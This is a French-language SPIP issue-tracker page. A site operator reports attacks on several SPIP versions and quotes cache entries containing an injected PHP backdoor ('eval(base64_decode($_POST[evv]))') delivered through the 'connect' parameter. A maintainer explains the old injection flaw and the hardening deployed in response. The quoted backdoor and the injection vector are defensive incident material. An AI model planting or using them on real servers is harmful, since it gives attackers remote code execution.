Faille de sécurité permettant l'éxecution code arbitraire ?
#3186
Closed
opened 9 years ago by miros
·
1 comments
No Branch/Tag Specified
1.8
1.9.1
1.9.2
2.0
2.1
3.0
3.1
3.2
4.0
4.1
4.2
boutons-danger
coquille_doc
debug_ecrire_fichier
dev-sortable
dev/autoloader
dev/hasard_fixe
dev/instituer_ergo
dev/issue_4626_menu_squelettes
dev/issue_5447_exporter_csv
dev_infos_image
fix/valider_url_distante
fix_issue_5454
fix_modifier_login
issue_4101
issue_4678
issue_4705
issue_4717
issue_4836
issue_4946
issue_5258
issue_5344
issue_5427_bis
issue_5483_find_script_jquery
issue_5487_info_maj
master
v1.8.3+b
v1.9.1+i
v1.9.2+f
v1.9.2+g
v1.9.2+h
v1.9.2+i
v1.9.2+j
v1.9.2+k
v1.9.2+m
v1.9.2+n
v1.9.2+o
v1.9.2+p
v2.0.0
v2.0.1
v2.0.10
v2.0.11
v2.0.12
v2.0.13
v2.0.14
v2.0.15
v2.0.16
v2.0.17
v2.0.18
v2.0.19
v2.0.2
v2.0.20
v2.0.21
v2.0.22
v2.0.23
v2.0.24
v2.0.25
v2.0.26
v2.0.3
v2.0.5
v2.0.6
v2.0.7
v2.0.8
v2.0.9
v2.1.0
v2.1.1
v2.1.10
v2.1.11
v2.1.12
v2.1.13
v2.1.14
v2.1.15
v2.1.16
v2.1.17
v2.1.18
v2.1.19
v2.1.2
v2.1.20
v2.1.21
v2.1.22
v2.1.23
v2.1.24
v2.1.25
v2.1.26
v2.1.27
v2.1.28
v2.1.29
v2.1.3
v2.1.30
v2.1.4
v2.1.5
v2.1.6
v2.1.7
v2.1.8
v2.1.9
v3.0.0
v3.0.0-alpha.1
v3.0.0-beta
v3.0.0-beta.2
v3.0.0-rc
v3.0.1
v3.0.10
v3.0.11
v3.0.12
v3.0.13
v3.0.14
v3.0.15
v3.0.16
v3.0.17
v3.0.18
v3.0.19
v3.0.2
v3.0.20
v3.0.21
v3.0.22
v3.0.23
v3.0.24
v3.0.25
v3.0.26
v3.0.27
v3.0.28
v3.0.3
v3.0.4
v3.0.5
v3.0.6
v3.0.7
v3.0.8
v3.0.9
v3.1.0
v3.1.0-alpha
v3.1.0-beta
v3.1.0-rc
v3.1.0-rc.2
v3.1.0-rc.3
v3.1.1
v3.1.10
v3.1.11
v3.1.12
v3.1.13
v3.1.14
v3.1.15
v3.1.2
v3.1.3
v3.1.4
v3.1.5
v3.1.6
v3.1.7
v3.1.8
v3.1.9
v3.2-alpha.1
v3.2.0
v3.2.0-alpha.1
v3.2.0-beta
v3.2.0-beta.2
v3.2.0-beta.3
v3.2.1
v3.2.10
v3.2.11
v3.2.12
v3.2.13
v3.2.14
v3.2.15
v3.2.16
v3.2.17
v3.2.2
v3.2.3
v3.2.4
v3.2.5
v3.2.6
v3.2.7
v3.2.8
v3.2.9
v4.0.0
v4.0.0-alpha
v4.0.0-beta
v4.0.1
v4.0.2
v4.0.3
v4.0.4
v4.0.5
v4.0.6
v4.0.7
v4.0.8
v4.0.9
v4.1.0
v4.1.0-alpha
v4.1.0-beta
v4.1.0-rc
v4.1.1
v4.1.2
v4.1.3
v4.1.4
v4.1.5
v4.1.6
v4.1.7
v4.2.0-alpha
v4.2.0-alpha2
Labels
Amélioration, nouvelle fonctionnalité APIs authentification base de données bug
Ca ne fonctionne pas code généré compilo css divers documentation doublon
Ce ticket est un doublon ergonomie espace privé filtres et balises formulaires Inscription installation invalide
Ticket invalide javascript langues LDAP plugin PostgreSQL refusé
Ignoré, c'est comme Ca... sécurité traduction
Apply labels
Clear labels
accessibilité
amélioration
Amélioration, nouvelle fonctionnalité APIs authentification base de données bug
Ca ne fonctionne pas code généré compilo css divers documentation doublon
Ce ticket est un doublon ergonomie espace privé filtres et balises formulaires Inscription installation invalide
Ticket invalide javascript langues LDAP plugin PostgreSQL refusé
Ignoré, c'est comme Ca... sécurité traduction
No Label
accessibilité
amélioration
APIs
authentification
base de données
bug
code généré
compilo
css
divers
documentation
doublon
ergonomie
espace privé
filtres et balises
formulaires
Inscription
installation
invalide
javascript
langues
LDAP
plugin
PostgreSQL
refusé
sécurité
traduction
Milestone
Set milestone
Clear milestone
No items
No Milestone
Projects
Clear projects
No project
Assignees
Assign users
Clear assignees
No Assignees
2 Participants
Notifications
Due Date
The due date is invalid or out of range. Please use the format 'yyyy-mm-dd'.
No due date set.
Dependencies
This issue currently doesn't have any dependencies.
Reference in new issue
There is no content yet.
Delete Branch '%!s(MISSING)'
Deleting a branch is permanent. It CANNOT be undone. Continue?
No
Yes
Bonjour,
Notre serveur internet heberge plusieurs instances de SPIP (2.0.17, 3.0.5, 3.0.10, 3.0.15) qui ont toutes fait l'objet d'attaques le meme jour.
Les logs Apache nous incitent à penser que le code php présent dans les template permet d'exécuter du code PHP arbitraire sur le serveur:
./tmp/cache/skel/html_php_eval_base64_decode___POST_evv_____php___8cb61055a580123c6bf5e557ee95c074.php: $connect = '<php eval(base64_decode($_POST[evv]));<php #';
./tmp/cache/skel/html__php_eval_base64_decode___POST_evv______php___e1e5712fd8f023a9ac2d96c0f1b09c92.php: $connect = '<?php eval(base64_decode($_POST[evv]));<?php #';
./cache/skel/html____php_eval_base64_decode___POST_evv________php___dc3dae177a4dedb727d6a881885c7da0.php:// Fonction principale du squelette squelettes-dist/inc-entete.html pour ?><?php #
./tmp/cache/skel/html____php_eval_base64_decode___POST_evv________php___913c7f052c4bcf1138cfbfea45867b88.php:// Fonction principale du squelette plugins/menu_accordeon/inc-menu-accordeon.html pour ?><?php #.
./tmp/cache/skel/html____php_eval_base64_decode___POST_evv________php___2b0322f6212ab02fb205cd41fb952c47.php:// Fonction principale du squelette squelettes/inc-pied.html pour ?><?php #
Nous avons vidé les cache, mais nous craignons une recidive.
Après analyse, pas de risque ici : c'est une tentative d'exploitation d'une ancienne faille qui permettait de faire de l'injection de PHP par ?connect= ou variantes.
En version 2.x le seul petit problème est qu'on log le contenu de connect directement dans spip.log, ce qui peut ouvrir la porte à une execution distante si le fichier log peut etre par la suite inclus (mais il faudrait pour cela exploiter une seconde faille d'inclusion arbitraire).
Nous déployons une version 2.x qui echappe les
<
dans les logs pour eviter tout risque de ce type, et nous renforçons l'écran de sécurité pour bloquer ces requetes qui de toute façon ne font que générer des fichiers cache foireux. Nous vous conseillons de déployer la version 1.1.9 de l'écran ( http://www.spip.net/fr_article4200.html )Statut changé à Fermé